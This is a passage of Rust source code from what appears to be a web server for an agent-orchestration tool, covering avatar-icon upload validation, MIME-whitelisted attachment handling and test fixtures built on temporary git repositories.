10889    )
10890}
10891
10892async fn magi_icon_get(State(ui): State<Arc<Ui>>) -> Json<serde_json::Value> {
10893    Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)}))
10894}
10895
10896#[derive(Deserialize)]
10897struct MagiIconUpload {
10898    icon: String,
10899}
10900
10901fn save_magi_icon(home: &FsPath, icon: &str) -> Result<()> {
10902    save_icon_file(&magi_icon_path(home), icon)
10903}
10904
10905fn validate_uploaded_icon(icon: &str) -> Result<()> {
10906    if !icon.starts_with("data:") {
10907        anyhow::bail!("upload a raster image");
10908    }
10909    let (mime, bytes) = persona_icon::load(icon)?;
10910    if sniffed_mime(&bytes) != Some(mime) {
10911        anyhow::bail!("image content does not match its type");
10912    }
10913    Ok(())
10914}
10915
10916fn save_icon_file(path: &FsPath, icon: &str) -> Result<()> {
10917    validate_uploaded_icon(icon)?;
10918    atomic_icon_write(path, icon)
10919}
10920
10921fn atomic_icon_write(path: &FsPath, icon: &str) -> Result<()> {
10922    let home = path.parent().expect("icon parent");
10923    std::fs::create_dir_all(home)?;
10924    let token = crate::rng::SplitMix64::new(crate::rng::entropy()).uuid_v4();
10925    let temp = home.join(format!(".magi-icon-{token}.tmp"));
10926    let result = (|| -> Result<()> {
10927        use std::io::Write;
10928        let mut file = std::fs::OpenOptions::new()
10929            .write(true)
10930            .create_new(true)
10931            .open(&temp)?;
10932        file.write_all(icon.as_bytes())?;
10933        file.sync_all()?;
10934        std::fs::rename(&temp, path)?;
10935        Ok(())
10936    })();
10937    let _ = std::fs::remove_file(temp);
10938    result?;
10939    Ok(())
10940}
10941
10942async fn magi_icon_put(
10943    State(ui): State<Arc<Ui>>,
10944    Json(upload): Json<MagiIconUpload>,
10945) -> ApiResult<Json<serde_json::Value>> {
10946    blocking(move || {
10947        if !upload.icon.starts_with("data:") {
10948            return Err(ApiError::bad_request("upload a raster image"));
10949        }
10950        let (mime, bytes) = persona_icon::load(&upload.icon).map_err(ApiError::bad_request_from)?;
10951        if sniffed_mime(&bytes) != Some(mime) {
10952            return Err(ApiError::bad_request(
10953                "image content does not match its type",
10954            ));
10955        }
10956        save_magi_icon(&ui.home, &upload.icon)?;
10957        Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
10958    })
10959    .await
10960}
10961
10962async fn magi_icon_delete(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
10963    blocking(move || {
10964        match std::fs::remove_file(magi_icon_path(&ui.home)) {
10965            Ok(()) => (),
10966            Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
10967            Err(e) => return Err(anyhow::Error::from(e).into()),
10968        }
10969        Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
10970    })
10971    .await
10972}
10973
10974async fn magi_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
10975    let icon = (q.builtin.is_none())
10976        .then(|| read_magi_icon(&ui.home))
10977        .flatten();
10978    let mut response = match icon
10979        .as_deref()
10980        .and_then(|icon| persona_icon::load(icon).ok())
10981    {
10982        Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10983            attachment_response(mime, bytes)
10984        }
10985        _ => svg_avatar(persona_icon::magi_svg()),
10986    };
10987    response
10988        .headers_mut()
10989        .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
10990    response
10991}
10992
10993/// `GET /api/talks/{id}/avatar?persona=<id>` - a persona's avatar: the
10994/// operator's raster `icon` when it resolves and its bytes agree with its
10995/// type, the built-in SVG otherwise. Display only; every failure is a warning
10996/// and the built-in avatar, never an error response.
10997async fn talk_avatar(
10998    State(ui): State<Arc<Ui>>,
10999    Path(id): Path<String>,
11000    Query(q): Query<AvatarQuery>,
11001) -> ApiResult<Response> {
11002    blocking(move || {
11003        let id = resolve_talk(&ui.talks, &id)?;
11004        let talk = ui.talks.get(&id)?;
11005        let wanted = q
11006            .persona
11007            .as_deref()
11008            .map(str::trim)
11009            .filter(|p| !p.is_empty())
11010            .unwrap_or(&talk.persona)
11011            .to_owned();
11012        let specs = match Config::discover(&talk.repo, None) {
11013            Ok((cfg, _)) => cfg.talk.personas,
11014            Err(e) => {
11015                tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
11016                Vec::new()
11017            }
11018        };
11019        let found = persona::find(&specs, &wanted);
11020        // Stored blank IDs are the plain voice, whose canonical ID is `default`.
11021        let wanted = found.as_ref().map_or(wanted, |p| p.id.clone());
11022        let icon = effective_persona_icon(
11023            &ui.home,
11024            &wanted,
11025            found.as_ref().and_then(|p| p.icon.as_deref()),
11026        );
11027        if found.is_none() && icon.is_none() {
11028            return Ok(builtin_avatar(persona::DEFAULT_ID));
11029        }
11030        let Some(icon) = icon
11031            .as_deref()
11032            .filter(|icon| !icon.is_empty() && q.builtin.is_none())
11033        else {
11034            return Ok(builtin_avatar(&wanted));
11035        };
11036        let Some(found) = found else {
11037            return Ok(raster_or_builtin(
11038                Some(icon),
11039                persona_icon::builtin_svg(&wanted),
11040            ));
11041        };
11042        match persona_icon::load(icon) {
11043            Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
11044                let mut res = attachment_response(mime, bytes);
11045                res.headers_mut().insert(
11046                    header::CACHE_CONTROL,
11047                    header::HeaderValue::from_static("no-cache"),
11048                );
11049                Ok(res)
11050            }
11051            Ok((mime, _)) => {
11052                tracing::warn!(
11053                    "avatar: icon of persona `{}` is not really {mime}; using the built-in",
11054                    found.id
11055                );
11056                Ok(builtin_avatar(&found.id))
11057            }
11058            Err(e) => {
11059                tracing::warn!(
11060                    "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
11061                    found.id
11062                );
11063                Ok(builtin_avatar(&found.id))
11064            }
11065        }
11066    })
11067    .await
11068}
11069
11070/// Validate an attachment upload's declared `Content-Type` and the bytes
11071/// themselves, returning the canonical mime on success.
11072///
11073/// Two checks, both required: the header has to name one of
11074/// [`ATTACHMENT_MIME_WHITELIST`] (which is what keeps SVG out - it is
11075/// simply never in the list, active content rather than a picture, the same
11076/// exclusion [`asset_content_type`]'s doc explains), and the file's own
11077/// magic number has to agree. The second is what stops a mislabeled upload -
11078/// an HTML file sent as `Content-Type: image/png` - from ever reaching disk;
11079/// a declared type is a claim, not a fact, so it is never trusted alone.
11080fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
11081    if data.len() > ATTACHMENT_MAX_BYTES {
11082        return Err(ApiError::bad_request(format!(
11083            "attachment is {} bytes, over the {} MiB limit",
11084            data.len(),
11085            ATTACHMENT_MAX_BYTES / (1024 * 1024)
11086        ))
11087        .with_status(StatusCode::PAYLOAD_TOO_LARGE));
11088    }
11089    if data.is_empty() {
11090        return Err(ApiError::bad_request("attachment is empty"));
11091    }
11092    let declared = declared_mime(headers)?;
11093    match sniffed_mime(data) {
11094        Some(sniffed) if sniffed == declared => Ok(declared),
11095        Some(sniffed) => Err(ApiError::bad_request(format!(
11096            "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
11097        ))),
11098        None => Err(ApiError::bad_request(
11099            "the file's bytes do not match any accepted image format",
11100        )),
11101    }
11102}
11103
11104/// The declared `Content-Type`, checked against [`ATTACHMENT_MIME_WHITELIST`]
11105/// and nothing else - parameters like `; charset=` are stripped, but the
11106/// value itself is not otherwise interpreted.
11107fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
11108    let raw = headers
11109        .get(header::CONTENT_TYPE)
11110        .and_then(|v| v.to_str().ok())
11111        .unwrap_or("")
11112        .split(';')
11113        .next()
11114        .unwrap_or("")
11115        .trim()
11116        .to_ascii_lowercase();
11117    ATTACHMENT_MIME_WHITELIST
11118        .iter()
11119        .find(|&&m| m == raw)
11120        .copied()
11121        .ok_or_else(|| {
11122            if raw == "image/svg+xml" {
11123                ApiError::bad_request(
11124                    "SVG is not accepted: it can carry active content (e.g. a <script>), \
11125                     not just a picture",
11126                )
11127            } else if raw.is_empty() {
11128                ApiError::bad_request("Content-Type is required for an attachment upload")
11129            } else {
11130                ApiError::bad_request(format!(
11131                    "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
11132                     image/gif or image/webp"
11133                ))
11134            }
11135        })
11136}
11137
11138/// Identify an image by its magic number, independent of whatever
11139/// `Content-Type` claimed.
11140fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
11141    if data.starts_with(b"\x89PNG\r\n\x1a\n") {
11142        Some("image/png")
11143    } else if data.starts_with(b"\xff\xd8\xff") {
11144        Some("image/jpeg")
11145    } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
11146        Some("image/gif")
11147    } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
11148        Some("image/webp")
11149    } else {
11150        None
11151    }
11152}
11153
11154/// The operator's own filename, from [`FILENAME_HEADER`], kept only for
11155/// display - see [`talk::Attachment::name`]'s doc on why it never
11156/// contributes to a path. A missing or blank header (curl without it, an
11157/// older front end) falls back to a generic name rather than refusing the
11158/// upload over a field that is cosmetic.
11159fn filename_header(headers: &HeaderMap) -> String {
11160    headers
11161        .get(FILENAME_HEADER)
11162        .and_then(|v| v.to_str().ok())
11163        .map(str::trim)
11164        .filter(|s| !s.is_empty())
11165        .unwrap_or("attachment")
11166        .to_owned()
11167}
11168
11169/// Every attachment `GET` response: the mime re-validated against the same
11170/// closed whitelist the upload route enforces - never the string trusted
11171/// verbatim off disk - plus `X-Content-Type-Options: nosniff`, so a browser
11172/// cannot decide it knows better than the type we send. Unlike a panel asset
11173/// there is no [`PANEL_CSP`] here: this is a plain image the phone's own
11174/// document renders inline, not agent-authored HTML in a sandboxed frame.
11175fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
11176    let content_type = ATTACHMENT_MIME_WHITELIST
11177        .iter()
11178        .find(|&&m| m == mime)
11179        .copied()
11180        .unwrap_or("application/octet-stream");
11181    (
11182        [
11183            (header::CONTENT_TYPE, content_type),
11184            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
11185        ],
11186        body,
11187    )
11188        .into_response()
11189}
11190
11191/// The configuration for a repository, read off the disk for this request.
11192///
11193/// Through [`blocking`] because discovery reads and merges several TOML files,
11194/// and because the alternative - caching it in [`Ui`] at startup - would mean
11195/// the operator's phone kept interviewing with a roster they had already
11196/// changed, with no way to reload it but restarting the server they are not
11197/// sitting in front of.
11198async fn config_for(repo: &FsPath) -> ApiResult<Config> {
11199    let repo = repo.to_path_buf();
11200    blocking(move || {
11201        let (cfg, _) = Config::discover(&repo, None)?;
11202        Ok(cfg)
11203    })
11204    .await
11205}
11206
11207/// The one prefix rule, used for both runs and tasks: a leading match for a
11208/// full id, a trailing match for the short form an operator reads off a
11209/// report. Written here rather than borrowed from `queue::resolve_id` because
11210/// the UI needs the two failures as different status codes, and telling them
11211/// apart from an error message is not something to build a route on.
11212fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
11213    let mut hits = ids
11214        .into_iter()
11215        .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
11216    match (hits.next(), hits.next()) {
11217        (Some(one), None) => Ok(one),
11218        (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
11219        (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
11220            "`{prefix}` matches more than one {what}, including {a} and {b}"
11221        ))),
11222    }
11223}
11224
11225#[cfg(test)]
11226mod tests {
11227
11228    #[test]
11229    fn deputy_exhausted_requires_an_open_question_without_a_live_holder() {
11230        let dir = tempfile::tempdir().unwrap();
11231        let store = ask::Questions::at(dir.path().join("questions"));
11232        let mut q = Question::new(
11233            "task".to_owned(),
11234            "conduct".to_owned(),
11235            "conduct".to_owned(),
11236            "choose".to_owned(),
11237            String::new(),
11238            vec!["keep".to_owned()],
11239        );
11240        q.deputy = Some(ask::Deputy::new("brief".to_owned()));
11241        q.say("why?").unwrap();
11242        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS - 1;
11243        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
11244        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
11245        store.put(&mut q).unwrap();
11246        assert!(QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
11247        assert_eq!(store.count_needs_owner(), 1);
11248        store.beat(&q.id, ask::WaiterKind::Deputy);
11249        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
11250        assert_eq!(store.count_needs_owner(), 0);
11251        let mut stale = store.read_lease(&q.id).unwrap();
11252        stale.beat_at = jiff::Timestamp::now() - std::time::Duration::from_secs(3600);
11253        std::fs::write(store.lease_path(&q.id), serde_json::to_vec(&stale).unwrap()).unwrap();
11254        let view = QuestionView::of(q.clone(), &store, Some(&Config::default()));
11255        assert!(view.deputy_exhausted);
11256        assert!(view.waiting_on_agent);
11257        assert_eq!(view.question.choices, ["keep"]);
11258        store.drop_lease(&q.id);
11259        q.answer(ask::Answer::Choice("keep".to_owned())).unwrap();
11260        assert!(!QuestionView::of(q, &store, Some(&Config::default())).deputy_exhausted);
11261    }
11262
11263    #[test]
11264    fn holder_reads_the_lease_not_the_record() {
11265        let mut q = Question::new(
11266            "run".to_owned(),
11267            "implement".to_owned(),
11268            "impl-A".to_owned(),
11269            "which?".to_owned(),
11270            String::new(),
11271            Vec::new(),
11272        );
11273        assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
11274        q.cwd = Some("/tmp".to_owned());
11275        assert_eq!(holder_of(&q, None), Some("nobody"));
11276        let beat = |kind, ago: i64| ask::Lease {
11277            kind,
11278            pid: 1,
11279            beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
11280                .unwrap(),
11281        };
11282        let fresh = beat(ask::WaiterKind::Asker, 1);
11283        assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
11284        let daemon = beat(ask::WaiterKind::Daemon, 1);
11285        assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
11286        let stale = beat(ask::WaiterKind::Asker, 3600);
11287        assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
11288
11289        // A conductor question says "deputy" only while one is attached and
11290        // alive, and "nobody" - never silence - when nothing ever listened.
11291        let mut c = Question::new(
11292            "task".to_owned(),
11293            crate::conduct::NODE.to_owned(),
11294            "conduct".to_owned(),
11295            "which?".to_owned(),
11296            String::new(),
11297            Vec::new(),
11298        );
11299        assert_eq!(holder_of(&c, None), Some("nobody"));
11300        c.cwd = Some("/tmp".to_owned());
11301        c.deputy = Some(ask::Deputy::new("brief".to_owned()));
11302        assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
11303        let deputy = beat(ask::WaiterKind::Deputy, 1);
11304        assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
11305        assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
11306
11307        // A release-watch question: nobody until a deputy is attached.
11308        let mut r = Question::new(
11309            String::new(),
11310            crate::bump::NOTICE_NODE.to_owned(),
11311            "release-watch".to_owned(),
11312            "stuck?".to_owned(),
11313            String::new(),
11314            vec!["hold".to_owned()],
11315        );
11316        assert_eq!(holder_of(&r, None), Some("nobody"));
11317        r.deputy = Some(ask::Deputy::new("brief".to_owned()));
11318        assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
11319        // A choice-less bump notice is nobody's question at all.
11320        r.deputy = None;
11321        r.seat = "bump".to_owned();
11322        assert_eq!(holder_of(&r, None), None);
11323
11324        // A merge approval is the same: nobody until a deputy is attached
11325        // and alive, never a silent "no holder".
11326        let mut m = Question::new(
11327            "run".to_owned(),
11328            crate::land::APPROVAL_NODE.to_owned(),
11329            "land".to_owned(),
11330            "merge?".to_owned(),
11331            String::new(),
11332            Vec::new(),
11333        );
11334        assert_eq!(holder_of(&m, None), Some("nobody"));
11335        assert_eq!(
11336            holder_of(&m, Some(&fresh)),
11337            Some("asker"),
11338            "a live explicit wait is a listener even before a deputy is attached"
11339        );
11340        m.deputy = Some(ask::Deputy::new("brief".to_owned()));
11341        assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
11342        assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
11343        assert_eq!(holder_of(&m, None), Some("nobody"));
11344    }
11345
11346    fn stub_config() -> Config {
11347        // An explicit roster, so the result never depends on which agent CLIs
11348        // this machine has installed.
11349        Config {
11350            agents: vec![crate::config::AgentSpec {
11351                id: "stub".to_owned(),
11352                kind: AgentKind::Command,
11353                model: None,
11354                command: vec!["true".to_owned()],
11355                extra_args: Vec::new(),
11356                env: Default::default(),
11357                prompt_delivery: None,
11358                max_turn_secs: None,
11359            }],
11360            ..Config::default()
11361        }
11362    }
11363
11364    fn plain_question(seat: &str) -> Question {
11365        Question::new(
11366            String::new(),
11367            "n".to_owned(),
11368            seat.to_owned(),
11369            "s".to_owned(),
11370            String::new(),
11371            Vec::new(),
11372        )
11373    }
11374
11375    #[test]
11376    fn deputies_enabled_follows_the_config() {
11377        let on = stub_config();
11378        assert!(crate::deputy::can_start(Some(&on), ""));
11379        assert!(crate::deputy::can_start(Some(&on), "stub"));
11380        let mut off = on.clone();
11381        off.daemon.max_deputies = 0;
11382        assert!(!crate::deputy::can_start(Some(&off), ""));
11383        let mut empty = on;
11384        empty.agents.clear();
11385        assert!(!crate::deputy::can_start(Some(&empty), ""));
11386        assert!(!crate::deputy::can_start(None, ""));
11387    }
11388
11389    #[test]
11390    fn question_views_load_the_config_once() {
11391        let dir = TempDir::new().unwrap();
11392        let store = ask::Questions::at(dir.path().to_path_buf());
11393        let mut with_deputy = plain_question("b");
11394        with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
11395        let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
11396
11397        let calls = std::cell::Cell::new(0usize);
11398        let views = question_views(qs.clone(), &store, || {
11399            calls.set(calls.get() + 1);
11400            Some(stub_config())
11401        });
11402        assert_eq!(calls.get(), 1);
11403        assert_eq!(views.len(), 3);
11404        for (v, q) in views.iter().zip(&qs) {
11405            assert_eq!(
11406                v.deputies_enabled,
11407                crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
11408            );
11409        }
11410
11411        let views = question_views(qs, &store, || None);
11412        assert!(views.iter().all(|v| !v.deputies_enabled));
11413
11414        let calls = std::cell::Cell::new(0usize);
11415        let views = question_views(Vec::new(), &store, || {
11416            calls.set(calls.get() + 1);
11417            None
11418        });
11419        assert!(views.is_empty());
11420        assert_eq!(calls.get(), 0);
11421    }
11422
11423    use pretty_assertions::assert_eq;
11424    use serde_json::Value;
11425    use tempfile::TempDir;
11426    use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
11427
11428    use super::*;
11429    use crate::config::Config;
11430    use crate::queue::Source;
11431
11432    /// How many 10ms steps a settle loop takes before it calls a stall a
11433    /// stall - thirty seconds.
11434    ///
11435    /// These loops wait on real `sh` subprocesses, and the machine that runs
11436    /// the gate runs several suites at once, so a two-second budget was not
11437    /// waiting for the reply, it was racing the scheduler: two of these
11438    /// tests failed under that load with the turn simply not landed yet.
11439    /// This is a hang guard, not a latency assertion - every loop breaks the
11440    /// moment its condition holds, so a generous cap costs an idle machine
11441    /// nothing and still fails a genuine hang instead of hanging the suite.
11442    const SETTLE_STEPS: usize = 3_000;
11443
11444    /// A home with a queue and a runs directory, and a router serving it on
11445    /// loopback. `tower`'s `oneshot` is not reachable - `tower` is axum's
11446    /// dependency, not ours - so the tests drive a real socket, which has the
11447    /// side benefit of asserting the status line and content types the phone
11448    /// actually receives.
11449    struct Fixture {
11450        home: TempDir,
11451        addr: SocketAddr,
11452    }
11453
11454    impl Fixture {
11455        async fn start() -> Self {
11456            Self::with_loop(launch_idle).await
11457        }
11458
11459        /// A fixture whose loop is `launch`.
11460        async fn with_loop(launch: Launch) -> Self {
11461            let home = TempDir::new().expect("temp home");
11462            let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
11463            Self { home, addr }
11464        }
11465
11466        /// A fixture whose `ui.repo` is a real directory rather than the
11467        /// usual placeholder - for the routes that read config off it
11468        /// (`GET /api/repos`) and would otherwise have nothing to discover.
11469        async fn with_repo(repo: PathBuf) -> Self {
11470            let home = TempDir::new().expect("temp home");
11471            let addr = Self::serve(home.path(), repo, launch_idle, None).await;
11472            Self { home, addr }
11473        }
11474
11475        /// As [`Fixture::with_repo`], with the machine-config file the
11476        /// settings screen reads and writes.
11477        async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
11478            let home = TempDir::new().expect("temp home");
11479            let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
11480            Self { home, addr }
11481        }
11482
11483        async fn serve(
11484            home: &FsPath,
11485            repo: PathBuf,
11486            launch: Launch,
11487            machine: Option<PathBuf>,
11488        ) -> SocketAddr {
11489            let queue = Queue::at(home.join("queue"));
11490            let runs = home.join("runs");
11491            std::fs::create_dir_all(&runs).expect("runs dir");
11492            let worktrees = home.join("wt").join("magi");
11493            std::fs::create_dir_all(&worktrees).expect("worktrees dir");
11494            let ui = Ui::new(
11495                queue,
11496                Questions::at(home.join("questions")),
11497                Talks::at(home.join("talks")),
11498                runs,
11499                home.to_path_buf(),
11500                repo,
11501            )
11502            .with_worktrees_root(worktrees)
11503            .with_machine_config(machine)
11504            .with_launch(launch);
11505            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
11506                .await
11507                .expect("bind loopback");
11508            let addr = listener.local_addr().expect("local addr");
11509            tokio::spawn(async move {
11510                let router = ui
11511                    .router()
11512                    .layer(axum::middleware::from_fn(request_cost::observe));
11513                let _ = axum::serve(listener, router).await;
11514            });
11515            addr
11516        }
11517
11518        fn queue(&self) -> Queue {
11519            Queue::at(self.home.path().join("queue"))
11520        }
11521
11522        fn questions(&self) -> Questions {
11523            Questions::at(self.home.path().join("questions"))
11524        }
11525
11526        fn talks(&self) -> Talks {
11527            Talks::at(self.home.path().join("talks"))
11528        }
11529
11530        fn runs(&self) -> PathBuf {
11531            self.home.path().join("runs")
11532        }
11533
11534        async fn get(&self, path: &str) -> Res {
11535            request(self.addr, "GET", path, None).await
11536        }
11537
11538        /// The status and headers without the body, which is how the front end
11539        /// preflights a panel: a sandboxed frame is opaque to the parent
11540        /// document, so the only way to tell "no panel" from "a panel that
11541        /// rendered blank" is to ask before mounting.
11542        async fn head(&self, path: &str) -> Res {
11543            request(self.addr, "HEAD", path, None).await
11544        }
11545
11546        async fn post(&self, path: &str, body: Option<&str>) -> Res {
11547            request(self.addr, "POST", path, body).await
11548        }
11549
11550        async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
11551            request_with(self.addr, "GET", path, None, extra).await
11552        }
11553
11554        async fn delete(&self, path: &str) -> Res {
11555            request(self.addr, "DELETE", path, None).await
11556        }
11557
11558        async fn put(&self, path: &str, body: &str) -> Res {
11559            request(self.addr, "PUT", path, Some(body)).await
11560        }
11561
11562        /// `POST` a raw body with its own headers - see [`request_bytes`].
11563        async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
11564            request_bytes(self.addr, path, headers, body).await
11565        }
11566    }
11567
11568    /// Real tracking refs exercise the successful discovery path (including
11569    /// extraction), rather than counting cheap failures on a placeholder repo.
11570    async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
11571        let tmp = TempDir::new().unwrap();
11572        let mut repos = Vec::new();
11573        for name in ["one", "two"] {
11574            let repo = tmp.path().join(name);
11575            let origin = tmp.path().join(format!("{name}.git"));
11576            std::fs::create_dir_all(&repo).unwrap();
11577            crate::git::git(&repo, &["init", "-b", "main"])
11578                .await
11579                .unwrap();
11580            std::fs::write(
11581                repo.join("magi.toml"),
11582                format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
11583            )
11584            .unwrap();
11585            crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
11586            crate::git::git(
11587                &repo,
11588                &[
11589                    "-c",
11590                    "user.name=fixture",
11591                    "-c",
11592                    "user.email=fixture@example.invalid",
11593                    "commit",
11594                    "-m",
11595                    "fixture",
11596                ],
11597            )
11598            .await
11599            .unwrap();
11600            crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
11601                .await
11602                .unwrap();
11603            crate::git::git(
11604                &repo,
11605                &["remote", "add", "origin", origin.to_str().unwrap()],
11606            )
11607            .await
11608            .unwrap();
11609            crate::git::git(&repo, &["push", "origin", "main"])
11610                .await
11611                .unwrap();
11612            crate::git::git(
11613                &repo,
11614                &[
11615                    "symbolic-ref",
11616                    "refs/remotes/origin/HEAD",
11617                    "refs/remotes/origin/main",
11618                ],
11619            )
11620            .await
11621            .unwrap();
11622            let (cfg, _) = Config::discover(&repo, None).unwrap();
11623            assert!(cfg.agents.iter().any(|a| a.id == "mock"));
11624            repos.push(repo);
11625        }
11626        let repos: [PathBuf; 2] = repos.try_into().unwrap();
11627        (tmp, repos)
11628    }
11629
11630    async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
11631        let (tmp, repos) = performance_repositories().await;
11632        let machine = tmp.path().join("machine.toml");
11633        std::fs::write(&machine, "").unwrap();
11634        let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
11635        (tmp, repos, fx)
11636    }
11637
11638    fn seed_performance(
11639        fx: &Fixture,
11640        repos: &[PathBuf; 2],
11641        questions: usize,
11642        runs: usize,
11643        items: usize,
11644    ) {
11645        // Saving states directly never starts a run or changes MAGI_HOME.
11646        for i in fx.questions().list().len()..questions {
11647            let mut question = Question::new(
11648                "20261001-000000-0000".into(),
11649                "implement".into(),
11650                "impl-A".into(),
11651                format!("question {i}"),
11652                "context".into(),
11653                vec!["yes".into(), "no".into()],
11654            );
11655            question.id = format!("20261003-000000-{i:04x}");
11656            fx.questions().put(&mut question).unwrap();
11657        }
11658        for i in run_ids(&fx.runs()).len()..runs {
11659            write_run_repo(
11660                &fx.runs(),
11661                &format!("20261001-000000-{i:04x}"),
11662                RunStatus::Ready,
11663                repos[i % 2].to_str().unwrap(),
11664            );
11665        }
11666        for i in fx.talks().list().len()..items {
11667            let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
11668            let mut talk = fx.talks().get(&id).unwrap();
11669            talk.repo = repos[i % 2].clone();
11670            fx.talks().put(&mut talk).unwrap();
11671            let mut task = crate::queue::Task::new(
11672                format!("task {i}"),
11673                "instruction".into(),
11674                repos[i % 2].clone(),
11675                crate::queue::Source::Agent {
11676                    run: id,
11677                    node: crate::queue::CHAT_NODE.into(),
11678                },
11679            );
11680            task.id = format!("20261004-000000-{i:04x}");
11681            fx.queue().put(&mut task).unwrap();
11682            // Notices has a production retention cap; seed up to that cap.
11683            if i < crate::notices::CAP {
11684                Notices::at(fx.home.path().join("notifications"))
11685                    .raise(Notice::info(&format!("notice-{i}"), "notification"))
11686                    .unwrap();
11687            }
11688        }
11689        assert_eq!(fx.questions().list().len(), questions);
11690        assert_eq!(run_ids(&fx.runs()).len(), runs);
11691        assert_eq!(fx.talks().list().len(), items);
11692        assert_eq!(fx.queue().list().len(), items);
11693        assert_eq!(
11694            Notices::at(fx.home.path().join("notifications"))
11695                .list()
11696                .len(),
11697            items.min(crate::notices::CAP)
11698        );
11699    }
11700
11701    #[tokio::test]
11702    async fn source_eviction_web_diffs_survive_repository_removal_and_reject_corruption() {
11703        let home = TempDir::new().unwrap();
11704        let root = home.path().canonicalize().unwrap();
11705        let addr = Fixture::serve(&root, root.join("repo"), launch_idle, None).await;
11706        let fx = Fixture { home, addr };
11707        let repo = root.as_path().join("archive-repo");
11708        std::fs::create_dir(&repo).unwrap();
11709        crate::git::git(&repo, &["init", "-b", "main"])
11710            .await
11711            .unwrap();
11712        crate::git::git(&repo, &["config", "user.name", "Fixture"])
11713            .await
11714            .unwrap();
11715        crate::git::git(&repo, &["config", "user.email", "fixture@example.invalid"])
11716            .await
11717            .unwrap();
11718        crate::git::git(&repo, &["config", "commit.gpgsign", "false"])
11719            .await
11720            .unwrap();
11721        std::fs::write(repo.join("source"), "base").unwrap();
11722        crate::git::git(&repo, &["add", "."]).await.unwrap();
11723        crate::git::git(&repo, &["commit", "-m", "base"])
11724            .await
11725            .unwrap();
11726        let base = crate::git::rev_parse(&repo, "HEAD").await.unwrap();
11727        std::fs::write(repo.join("source"), "archived review").unwrap();
11728        crate::git::git(&repo, &["commit", "-am", "review"])
11729            .await
11730            .unwrap();
11731        let head = crate::git::rev_parse(&repo, "HEAD").await.unwrap();
11732        let mut config = Config::default();
11733        config.graph.worktree_root = Some(root.as_path().join("copies"));
11734        let mut state = RunState::new(
11735            repo.clone(),
11736            "main".into(),
11737            base.clone(),
11738            "archive".into(),
11739            config,
11740        );
11741        state.id = "20260101-000000-ef05".into();
11742        state.status = RunStatus::Ready;
11743        state.save_under(root.as_path()).unwrap();
11744        let evidence =
11745            crate::fold_evidence::snapshot(&state, root.as_path(), &head, 64 * 1024 * 1024)
11746                .await
11747                .unwrap();
11748        let base_evidence =
11749            crate::fold_evidence::snapshot(&state, root.as_path(), &base, 64 * 1024 * 1024)
11750                .await
11751                .unwrap();
11752        let source = state.worktree_root().join("review-1");
11753        let mut contents = std::collections::BTreeMap::new();
11754        contents.insert(
11755            repo.join("logs/HEAD"),
11756            format!("{base} {head} fixture\n").into_bytes(),
11757        );
11758        let record = serde_json::json!({
11759            "version":1, "run":state.id, "source":source, "head":head,
11760            "evidence":evidence, "admin":{}, "admin_contents":contents,
11761            "history":{base:base_evidence, head.clone():evidence}, "phase":"evicted"
11762        });
11763        std::fs::write(
